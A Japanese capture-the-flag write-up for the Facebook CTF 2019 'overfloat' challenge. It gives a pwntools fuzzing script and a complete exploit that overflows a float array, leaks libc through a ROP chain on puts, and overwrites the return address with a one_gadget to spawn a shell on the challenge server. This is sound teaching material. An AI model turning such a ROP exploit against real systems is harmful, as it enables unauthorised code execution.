Facebook CTF 2019 writeup : overfloat

これしか解けませんでした。
otp_serverは解けそうだったもののnonceをガチャる方法がよくわからず敗退。

Writeup

なにやってるのかよくわからないが、2つの値をセットで読み込んで、それらはfloat型で保持されるらしい。
コードをぱっと読んでも何も浮かばなかったのでファジングを試みた。

from pwn import *
import time
context.log_level = "DEBUG"

count = 1
while True:
    p = process("./overfloat")
    p.recv()
    print(count)
    for i in range(count):
        p.sendline(b"1")
        p.sendline(b"1")
        p.recv()
    p.sendline(b"done")
    p.recv()
    if p.poll(block = True) is not 0:
        break
    count += 1
print(count)

上記を実行すると、8回目のループで例外が発生した。
gdbで詳しく見ると、8回目のループでリターンアドレスを書き換えている。
つまり、14回の入力まででbase addressを書き換えることができ、次でリターンアドレスを書き換えripを制御できる。

今回、値はfloat型で保持されるため、入力は4byteの浮動小数点として格納される。
そのため、浮動小数点として変換されたさいに目的の値になるように入力を行う必要がある。
また、8byteの値を書き込みたい場合2回に分ける必要がある。

exploit

ropによるputs_plt(puts_got)を用いたlibcのリーク → one_gadgetの書き込みの手順を行う。

from pwn import *
import time
import binascii
# context.log_level="DEBUG"


def hex_to_float(s):
    s = s[2:]
    s = "0"*(8 - len(s)) + s
    return format(struct.unpack('>f', binascii.unhexlify(s))[0], ".10g")


def number_to_floatbytes(n):
    return str(hex_to_float(hex(n))).encode("utf-8")


def write_buf(buf):
    for b in buf:
        p.sendline(number_to_floatbytes(b))
        p.sendline(b"0")
    p.sendline("done")


pop_rdi = 0x00400a83
puts_plt = 0x00400690
puts_got = 0x00602020
libc_puts = 0x0000000000809c0
one_gadget = 0x10a38c
main = 0x0400993
# p = process("./overfloat")
# gdb.attach(p, """
#        set follow-fork-mode child
#        c
# """)
# time.sleep(1)

p = remote("challenges.fbctf.com", 1341)

# stage1 : leak libc address
for j in range(14):
    p.sendline(str(j).encode("utf-8"))
    print(p.recv())

# make ropchain to leak puts_got
buf = []
buf.append(pop_rdi)
buf.append(puts_got)
buf.append(puts_plt)
buf.append(main)
write_buf(buf)

# calculate libc_base
p.recvline()
r = p.recvuntil(b"\x7f")
puts = u64(r.ljust(8, b"\x00"))
libc_base = puts - libc_puts

# make one_gadget address
target = libc_base + one_gadget
print("[+]target " + hex(target))

# padding float size
tmp = hex(target)[2:]
pad_target = "0"*(16 - len(tmp)) + tmp
low = pad_target[8:16]
high = pad_target[0:8]

print("[*]low " + low)
print("[*]high " + high)

# stage2 : write one_gadge
for j in range(14):
    p.sendline(str(j).encode("utf-8"))
    p.recv()

p.sendline(number_to_floatbytes(int(low, 16)))
p.sendline(number_to_floatbytes(int(high, 16)))
p.sendline(b"done")
p.interactive()

シェルを操作してflagを読んで終わり。